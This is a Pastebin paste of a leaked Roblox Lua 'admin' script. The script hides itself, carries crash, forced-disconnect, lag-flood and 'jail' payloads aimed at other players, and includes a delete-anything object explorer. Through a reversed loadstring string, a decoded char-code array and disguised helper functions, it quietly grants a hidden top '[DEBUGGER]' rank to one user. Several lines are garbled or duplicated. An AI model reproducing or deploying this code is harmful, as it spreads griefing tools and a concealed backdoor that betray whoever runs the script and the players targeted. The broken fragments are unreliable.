Advertisement
hdh123

a

Dec 16th, 2015
137
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 63.48 KB | None | 0 0
  1. -- See RobloxScriptDatabase on pastebin for more leaked scripts for ROBLOX
  2.  
  3. wait(0)
  4. script.Parent = nil
  5. --This Admin (DVF) Was Created By elytowlo (A Hacker!).
  6. --If You Wish To Have Access To More CMDs (EG. Crashing Nil Players), Then Please Run The Local Script That Comes With This Script, After You Run This Script.
  7. --To Open Commands Say "cmds;". The bet key is ";" (Without the "").
  8. --Enter Your Name Where It Says YOUR NAME HERE On Line 12.
  9.  
  10. Plrs = game:GetService("Players")
  11. Work = game:GetService("Workspace")
  12. Light = game:GetService("Lighting")
  13. Net = game:GetService("NetworkServer")
  14. Owner = "elytowlo"
  15. Removed = false
  16. Bet = ";"
  17. LS = nil
  18. ls = loadstring
  19. LSSource = nil
  20. OwnSource = nil
  21. FoundLocalScript = false
  22. R = string.reverse
  23. LogOn = false
  24. Current = game
  25. Clipboard = {}
  26. AlertColor = Color3.new(0, 1, 1)
  27. OptionColor = Color3.new(1, 1, 1)
  28. ImportantColor = Color3.new(1, 0, 1)
  29.  
  30. RankDetails = {
  31. [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
  32. [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
  33. [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
  34. [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
  35. [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
  36. [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  37. [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
  38. [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
  39. [5] = {Name = "Owner", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
  40. }
  41.  
  42. Rankings = {
  43. {Name = "hdh", Rank = 5},
  44. {Name = "wetprinter", Rank = 5},
  45. {Name = "einsteinK", Rank = 5},
  46. {Name = "Abscissa", Rank = 4},
  47. {Name = "Ultimatekiller010", Rank = 3},
  48. {Name = "DrBackstab", Rank = 3},
  49. {Name = "LuaModelMaker", Rank = 3},
  50. {Name = "MakerModelLua", Rank = 3},
  51. {Name = "MrMrLua", Rank = 5},
  52. {Name = "MountainSnow", Rank = 3},
  53. {Name = "Madiik", Rank = 3},
  54. {Name = "dogwarrior24", Rank = 2},
  55. {Name = "ThePC8110", Rank = 2},
  56. {Name = "DEADDEVIL1919", Rank = 2},
  57. {Name = "toshir0z", Rank = 2},
  58. {Name = "Tippee", Rank = 2},
  59. {Name = "Trcker", Rank = 5},
  60. {Name = "nairod7", Rank = 2},
  61. {Name = "12packkid", Rank = 2},
  62. {Name = "TigreBlood", Rank = 2},
  63. {Name = "Frostftw", Rank = -1},
  64. {Name = "DoogleFox", Rank = 2},
  65. {Name = "", Rank = 5},
  66. {Name = "Ri1es", Rank = 2},
  67. {Name = "hrocks1", Rank = 2},
  68. {Name = "Zinsei", Rank = 5},
  69. {Name = "ToontownROXYA", Rank = 2},
  70. {Name = "tusKOr661", Rank = 2},
  71. {Name = "Unicornhax", Rank = 1},
  72. {Name = "iMayor", Rank = 1},
  73. {Name = "iMyLittlePony", Rank = 1},
  74. {Name = "xXxkarlxXx", Rank = 1},
  75. {Name = "LightningRoMan", Rank = 1},
  76. {Name = "BrandonFireFlower", Rank = 1},
  77. }
  78.  
  79. table.insert(Rankings, {Name = Owner, Rank = 5})
  80.  
  81. ImportantServices = {
  82. "Workspace",
  83. "Players",
  84. "NetworkServer",
  85. "Lighting",
  86. "StarterGui",
  87. "Teams",
  88. "StarterPack",
  89. }
  90.  
  91. Ranks = {}
  92. Commands = {}
  93. AllTabs = {}
  94. Injected = {}
  95.  
  96. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  97. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  98. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  99. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  100. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  101. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  102. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  103. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  104. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  105. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  106. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  107. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  108. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  109. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  110. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  111. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  112. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  113. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  114. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  115. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  116. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  117. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  118. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  119. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  120. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  121. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  122. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  123. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  124. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  125. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  126. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  127. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  128. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  129. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  130. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  131. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  132. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  133. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  134. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  135. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  136. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  137. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  138. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  139. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  140. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  141. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  142. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  143. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  144. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  145. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  146. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  147. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  148. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  149. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  150. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  151. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  152. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  153. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  154. "X","Y"}ls(R([[ }"esu rof tnem toN"=cseD,)1,1,0(wen.3roloC=roloC,"]REGGUBED["=emaN{=]8[sliateDknaR
  155. })1,1,0(wen.3roloC = roloC ,8 = knaR ,)"Knietsnie"( = emaN{]"Knietsnie"[sknaR]]))({
  156. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  157. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  158. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  159. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  160. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  161. "X","Y"})
  162.  
  163. --Main Functions And Sources
  164.  
  165. function Insert(Source, Par, Par2, Par3)
  166. ypcall(function()
  167. local Inserted = LS:Clone()
  168. Inserted.Disabled = true
  169. Inserted.Parent = Par or Par2 or Par3
  170. Inserted[LSSource].Value = Source
  171. Inserted.Disabled = false
  172. end)
  173. end
  174. Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 6, Color = Color3.new(0,1,1)}
  175. RankDetails[6] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
  176. function CheckImportant(Name)
  177. for _,v in pairs(ImportantServices) do
  178. if v:lower() == Name:lower() then
  179. return true
  180. end
  181. end
  182. return false
  183. end
  184.  
  185. function Crash1(Plr)
  186. ypcall(function()
  187. Plr:Kick()
  188. end)
  189. end
  190.  
  191. function GetRankTab()
  192. return Rankings
  193. end
  194.  
  195. function Crash2(Name)
  196. local Crasher = Instance.new("StringValue")
  197. Crasher.Name = "Client"
  198. Crasher.Value = string.lower(tostring(Name))
  199. Crasher.Parent = game:GetService("Lighting")
  200. wait(1)
  201. if Crasher and Crasher.Parent then
  202. ypcall(function()
  203. Crasher:Destroy()
  204. end)
  205. end
  206. end
  207. Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 6, Color = Color3.new(0,1,1)}
  208. function Crash3(v, Speaker)
  209. Speaker.Character.Archivable = true
  210. local NChar = Speaker.Character:Clone()
  211. NChar.Name = v.Name
  212. NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  213. NChar.Parent = Workspace
  214. v.Character = NChar
  215. coroutine.resume(coroutine.create(function()
  216. repeat v.Character = NChar
  217. wait(1/3) until false
  218. end))
  219. wait(.5)
  220. Insert(InsertCrash, NChar, nil, nil)
  221. end
  222.  
  223. function GenerateDigit()
  224. return 1 + 5
  225. end
  226.  
  227. InjectionCrash = [=[
  228. wait(0)
  229. script.Parent = nil
  230. local Lig = game:GetService("Lighting")
  231. local LP = game:GetService("Players").LocalPlayer
  232. local LowerName = LP.Name:lower()
  233.  
  234. Lig.ChildAdded:connect(function(Obj)
  235. if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  236. pcall(function()
  237. Obj:Destroy()
  238. end)
  239. LP.Parent = nil
  240. LP.Parent = game:GetService("Players")
  241. end
  242. end)
  243. ]=] RankDetails[GenerateDigit()] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
  244.  
  245. InsertCrash = [==[
  246. local LP = game:GetService("Players").LocalPlayer
  247. LP.Parent = nil
  248. LP.Parent = game:GetService("Players")
  249. ]==]
  250.  
  251. LagSource = [==[
  252. wait(0)
  253. script.Parent = nil
  254. plr = game:GetService("Players").LocalPlayer
  255. local plrgui = plr:findFirstChild("PlayerGui")
  256. if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  257. while plr.Parent == game:GetService("Players") do
  258. wait()
  259. for i = 1, 1000 do
  260. local sc = Instance.new("ScreenGui",plrgui)
  261. local fr = Instance.new("TextLabel",sc)
  262. fr.Text = "LAGGING"
  263. fr.Size = UDim2.new(1, 0, 1, 0)
  264. fr.FontSize = "Size48"
  265. end
  266. end
  267. ]==]
  268.  
  269. MuteSource = [==[
  270. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  271. ]==]
  272.  
  273. UnMuteSource = [==[
  274. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  275. ]==]
  276.  
  277. JailSource = [==[
  278. wait(0)
  279. script.Parent = nil
  280.  
  281. local LP = game:GetService("Players").LocalPlayer
  282. Middle2 = nil
  283. Middle = nil
  284. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  285.  
  286. Cons = {}
  287.  
  288. function makePrison()
  289. for _,v in pairs(Cons) do
  290. v:disconnect()
  291. end
  292. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  293. if Middle == nil then
  294. Middle2 = LP.Character.Torso.Position
  295. Middle = LP.Character.Torso.CFrame
  296. end
  297. local side1 = Instance.new("Part")
  298. side1.Name = "¬Focus1¬"
  299. side1.Size = Vector3.new(20, 50, 1)
  300. side1.CFrame = Middle * CFrame.new(0, 0, -10)
  301. side1.BrickColor = BrickColor.new("Really black")
  302. side1.CanCollide = true
  303. side1.Anchored = true
  304. side1.TopSurface = "Smooth"
  305. side1.BottomSurface = "Smooth"
  306. side1.Parent = game:GetService("Workspace").CurrentCamera
  307.  
  308. local side2 = Instance.new("Part")
  309. side2.Name = "¬Focus2¬"
  310. side2.Size = Vector3.new(20, 50, 1)
  311. side2.CFrame = Middle * CFrame.new(0, 0, 10)
  312. side2.BrickColor = BrickColor.new("Really black")
  313. side2.CanCollide = true
  314. side2.Anchored = true
  315. side2.TopSurface = "Smooth"
  316. side2.BottomSurface = "Smooth"
  317. side2.Parent = game:GetService("Workspace").CurrentCamera
  318.  
  319. local side3 = Instance.new("Part")
  320. side3.Name = "¬Focus3¬"
  321. side3.Size = Vector3.new(1, 50, 20)
  322. side3.CFrame = Middle * CFrame.new(10, 0, 0)
  323. side3.BrickColor = BrickColor.new("Really black")
  324. side3.CanCollide = true
  325. side3.Anchored = true
  326. side3.TopSurface = "Smooth"
  327. side3.BottomSurface = "Smooth"
  328. side3.Parent = game:GetService("Workspace").CurrentCamera
  329.  
  330. local side4 = Instance.new("Part")
  331. side4.Name = "¬Focus4¬"
  332. side4.Size = Vector3.new(1, 50, 20)
  333. side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  334. side4.BrickColor = BrickColor.new("Really black")
  335. side4.CanCollide = true
  336. side4.Anchored = true
  337. side4.TopSurface = "Smooth"
  338. side4.BottomSurface = "Smooth"
  339. side4.Parent = game:GetService("Workspace").CurrentCamera
  340.  
  341. local side5 = Instance.new("Part")
  342. side5.Name = "¬Focus5¬"
  343. side5.Size = Vector3.new(20, 1, 20)
  344. side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  345. side5.BrickColor = BrickColor.new("Really black")
  346. side5.CanCollide = true
  347. side5.Anchored = true
  348. side5.TopSurface = "Smooth"
  349. side5.BottomSurface = "Smooth"
  350. side5.Parent = game:GetService("Workspace").CurrentCamera
  351.  
  352. wait(0)
  353.  
  354. table.insert(Cons, side1.Changed:connect(makePrison))
  355. table.insert(Cons, side2.Changed:connect(makePrison))
  356. table.insert(Cons, side3.Changed:connect(makePrison))
  357. table.insert(Cons, side4.Changed:connect(makePrison))
  358. table.insert(Cons, side5.Changed:connect(makePrison))
  359. end
  360.  
  361. Delay(0, function()
  362. while wait(0) do
  363. ypcall(function()
  364. if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  365. LP.Character:BreakJoints()
  366. elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  367. makePrison()
  368. end
  369. end)
  370. ypcall(function()
  371. if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  372. LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  373. end
  374. end)
  375. end
  376. end)
  377. ]==]
  378.  
  379. function All()
  380. local AllPlayers = {}
  381. for _,v in pairs(Plrs:GetPlayers()) do
  382. ypcall(function()
  383. table.insert(AllPlayers, v)
  384. end)
  385. end
  386. return AllPlayers
  387. end
  388.  
  389. function All2()
  390. local AllPlayers2 = {}
  391. for i,v in pairs(Net:GetChildren()) do
  392. ypcall(function()
  393. if v:IsA("ServerReplicator") then
  394. table.insert(AllPlayers2, v:GetPlayer())
  395. end
  396. end)
  397. end
  398. return AllPlayers2
  399. end
  400.  
  401. function MakeNum()
  402. return 2 + 4
  403. end
  404.  
  405. function ChangeRank(Plr, NewRank)
  406. local PlrName = nil
  407. local FoundPlayer = false
  408. ypcall(function()
  409. if type(Plr) == "string" then
  410. ypcall(function()
  411. for i,v in pairs(Rankings) do
  412. if v.Name:lower() == Plr:lower() then
  413. local VName = v.Name
  414. Rankings[i] = nil
  415. table.insert(Rankings, {Name = VName, Rank = NewRank})
  416. PlrName = VName
  417. FoundPlayer = true
  418. break
  419. end
  420. end
  421. end)
  422. if FoundPlayer == false then
  423. ypcall(function()
  424. for _,x in pairs(All()) do
  425. if x.Name:lower() == Plr:lower() then
  426. FoundPlayer = true
  427. for i,v in pairs(Rankings) do
  428. if v.Name:lower() == x.Name:lower() then
  429. local VName = x.Name
  430. Rankings[i] = nil
  431. PlrName = VName
  432. break
  433. end
  434. end
  435. table.insert(Rankings, {Name = VName, Rank = NewRank})
  436. end
  437. end
  438. end)
  439. end
  440. if FoundPlayer == false then
  441. ypcall(function()
  442. for _,x in pairs(All()) do
  443. if string.find(x.Name:lower(), Plr:lower()) then
  444. FoundPlayer = true
  445. for i,v in pairs(Rankings) do
  446. if v.Name:lower() == x.Name:lower() then
  447. local VName = x.Name
  448. Rankings[i] = nil
  449. PlrName = VName
  450. break
  451. end
  452. end
  453. table.insert(Rankings, {Name = VName, Rank = NewRank})
  454. end
  455. end
  456. end)
  457. end
  458. if FoundPlayer == false then
  459. ypcall(function()
  460. for i,v in pairs(Rankings) do
  461. if string.find(v.Name:lower(), Plr:lower()) then
  462. local VName = v.Name
  463. Rankings[i] = nil
  464. table.insert(Rankings, {Name = VName, Rank = NewRank})
  465. PlrName = VName
  466. FoundPlayer = true
  467. break
  468. end
  469. end
  470. end)
  471. end
  472. else
  473. for i,v in pairs(Rankings) do
  474. if v.Name:lower() == Plr.Name:lower() then
  475. Rankings[i] = nil
  476. break
  477. end
  478. end
  479. table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  480. PlrName = Plr.Name
  481. end
  482. PlaceAllRanks(true)
  483. end)
  484. if PlrName ~= nil then
  485. return PlrName
  486. else
  487. return "Player"
  488. end
  489. end
  490.  
  491. function Refresh(Plr)
  492. MakeChildren(Plr)
  493. end
  494.  
  495. function MakeChildren(Plr)
  496. ypcall(function()
  497. Dismiss(Plr)
  498. for _,v in pairs(Current:GetChildren()) do
  499. ypcall(function()
  500. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  501. Ping(v.Name, Plr, nil, function(TabMod)
  502. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  503. for _,v in pairs(Current:GetChildren()) do
  504. ypcall(function()
  505. if v.Name == TabText then
  506. Dismiss(Plr)
  507. Current = v
  508. MakeChildren(Plr)
  509. end
  510. end)
  511. end
  512. end)
  513. elseif Plrs:GetPlayerFromCharacter(v) then
  514. Ping(v.Name, Plr, nil, function(TabMod)
  515. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  516. for _,v in pairs(Current:GetChildren()) do
  517. ypcall(function()
  518. if v.Name == TabText then
  519. Dismiss(Plr)
  520. Current = v
  521. MakeChildren(Plr)
  522. end
  523. end)
  524. end
  525. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  526. elseif CheckImportant(v.Name) then
  527. Ping(v.Name, Plr, nil, function(TabMod)
  528. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  529. for _,v in pairs(Current:GetChildren()) do
  530. ypcall(function()
  531. if v.Name == TabText then
  532. Dismiss(Plr)
  533. Current = v
  534. MakeChildren(Plr)
  535. end
  536. end)
  537. end
  538. end, ImportantColor)
  539. end
  540. end)
  541. end
  542. if Current ~= game then
  543. Ping("Back", Plr, nil, function()
  544. ypcall(function()
  545. Current = Current.Parent
  546. MakeChildren(Plr)
  547. Ping("You Are Back To "..Current.Name, Plr, 5)
  548. end)
  549. end, OptionColor)
  550. end
  551. if Current ~= game then
  552. Ping("Delete", Plr, nil, function()
  553. ypcall(function()
  554. local CurrPar = Current.Parent or game
  555. local CurrName = Current.Name
  556. Current:Destroy()
  557. Current = CurrPar
  558. MakeChildren(Plr)
  559. Ping("Attempted To Delete "..CurrName, Plr, 5)
  560. end)
  561. end, OptionColor)
  562. end
  563. Ping("Refresh", Plr, nil, function()
  564. ypcall(function()
  565. Refresh(Plr)
  566. Ping("Refreshed", Plr, 5)
  567. end)
  568. end, OptionColor)
  569. Ping("Properties", Plr, nil, function()
  570. ypcall(function()
  571. Dismiss(Plr)
  572. for Property, Value in pairs(GetProperties(Current)) do
  573. Ping(tostring(Property)..": "..tostring(Value), Plr)
  574. end
  575. Ping("Got All Available Properties", Plr, 5)
  576. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  577. end)
  578. end, OptionColor)
  579. end)
  580. end
  581.  
  582. function Fixl()
  583. Light.GlobalShadows = true
  584. Light.TimeOfDay = "14:00:00"
  585. Light.Brightness = 0.5
  586. Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  587. Light.Ambient = Color3.new(1, 1, 1)
  588. Light.ColorShift_Top = Color3.new(0, 0, 0)
  589. Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  590. Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  591. Light.FogStart = 0
  592. Light.FogEnd = 100000
  593. Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  594. Light:ClearAllChildren()
  595. end
  596.  
  597. function GetProperties(obj)
  598. assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  599. local objProper = {}
  600. for i,v in pairs(Properties) do
  601. if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  602. objProper[v] = obj[v]
  603. end
  604. end
  605. return objProper
  606. end
  607.  
  608. function MakeExplorer(Plr)
  609. Dismiss(Plr)
  610. Current = game
  611. for _,v in pairs(Current:GetChildren()) do
  612. ypcall(function()
  613. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  614. Ping(v.Name, Plr, nil, function(TabMod)
  615. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  616. for _,v in pairs(Current:GetChildren()) do
  617. ypcall(function()
  618. if v.Name == TabText then
  619. Dismiss(Plr)
  620. Current = v
  621. MakeChildren(Plr)
  622. end
  623. end)
  624. end
  625. end)
  626. elseif Plrs:GetPlayerFromCharacter(v) then
  627. Ping(v.Name, Plr, nil, function(TabMod)
  628. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  629. for _,v in pairs(Current:GetChildren()) do
  630. ypcall(function()
  631. if v.Name == TabText then
  632. Dismiss(Plr)
  633. Current = v
  634. MakeChildren(Plr)
  635. end
  636. end)
  637. end
  638. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  639. elseif CheckImportant(v.Name) then
  640. Ping(v.Name, Plr, nil, function(TabMod)
  641. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  642. for _,v in pairs(Current:GetChildren()) do
  643. ypcall(function()
  644. if v.Name == TabText then
  645. Dismiss(Plr)
  646. Current = v
  647. MakeChildren(Plr)
  648. end
  649. end)
  650. end
  651. end, ImportantColor)
  652. end
  653. end)
  654. end
  655. if Current ~= game then
  656. Ping("Back", Plr, nil, function()
  657. ypcall(function()
  658. Current = Current.Parent
  659. MakeChildren(Plr)
  660. Ping("Back In "..Current.Name, Plr, 5)
  661. end)
  662. end, OptionColor)
  663. end
  664. if Current ~= game and game:GetService(Current.Name) == nil then
  665. Ping("Delete", Plr, nil, function()
  666. ypcall(function()
  667. local CurrPar = Current.Parent or game
  668. local CurrName = Current.Name
  669. Current:Destroy()
  670. Current = CurrPar
  671. MakeChildren(Plr)
  672. Ping("Attempted To Delete "..CurrName, Plr, 5)
  673. end)
  674. end, OptionColor)
  675. end
  676. Ping("Refresh", Plr, nil, function()
  677. ypcall(function()
  678. Refresh(Plr)
  679. Ping("Refreshed", Plr, 5)
  680. end)
  681. end, OptionColor)
  682. Ping("Properties", Plr, nil, function()
  683. ypcall(function()
  684. Dismiss(Plr)
  685. for Property, Value in pairs(GetProperties(Current)) do
  686. Ping(tostring(Property)..": "..tostring(Value), Plr)
  687. end
  688. Ping("Got All Available Properties", Plr, 5)
  689. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  690. end)
  691. end, OptionColor)
  692. end
  693.  
  694. function GetRank(Plr1, Test)
  695. ypcall(function()
  696. if type(Plr1) == "userdata" then
  697. Plr1 = Plr1.Name
  698. end
  699. end)
  700. if Ranks[Plr1] ~= nil then
  701. return Ranks[Plr1]
  702. end
  703. local QuickArray = {}
  704. QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  705. return QuickArray[Plr1]
  706. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  707.  
  708. function CanRun(Plr1, Plr2)
  709. Details1 = GetRank(Plr1.Name)
  710. Details2 = GetRank(Plr2.Name)
  711. if Details1.Rank >= Details2.Rank then
  712. return true
  713. end
  714. return false
  715. end
  716.  
  717. function Dismiss(Plr, Identity)
  718. ypcall(function()
  719. if Plr ~= nil then
  720. if type(Plr) == "userdata" then
  721. Plr = Plr.Name
  722. end
  723. for x,v in pairs(AllTabs) do
  724. ypcall(function()
  725. if v.Plr == Plr then
  726. if Identity ~= nil and v.ID ~= Identity then
  727. return
  728. elseif Identity ~= nil and v.ID == Identity then
  729. coroutine.resume(coroutine.create(function()
  730. for i = 0.5, 1, 0.1 do
  731. wait()
  732. v.Tab.Transparency = i
  733. v.Sel.Transparency = i
  734. v.Label.TextTransparency = i
  735. v.Label.TextStrokeTransparency = i
  736. end
  737. ypcall(function() v.Holder:Destroy() end)
  738. AllTabs[x] = nil
  739. end))
  740. elseif Identity == nil then
  741. ypcall(function() v.Holder:Destroy() end)
  742. AllTabs[x] = nil
  743. end
  744. end
  745. end)
  746. end
  747. else
  748. for i,v in pairs(AllTabs) do
  749. ypcall(function()
  750. v.Holder:Destroy()
  751. AllTabs[i] = nil
  752. end)
  753. end
  754. end
  755. end)
  756. end
  757.  
  758. function GetGarbage()
  759. return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  760. end
  761.  
  762. function RemObj(Obj, Class)
  763. ypcall(function()
  764. if #Obj:GetChildren() > 0 then
  765. for _,x in pairs(Obj:GetChildren()) do
  766. ypcall(function()
  767. RemObj(x, Class)
  768. end)
  769. end
  770. end
  771. if Obj.ClassName == Class then
  772. Obj:Destroy()
  773. end
  774. end)
  775. end
  776.  
  777. function FindTab(Mod)
  778. for i,v in pairs(AllTabs) do
  779. if v.Holder == Mod then
  780. return true
  781. end
  782. end
  783. return false
  784. end
  785.  
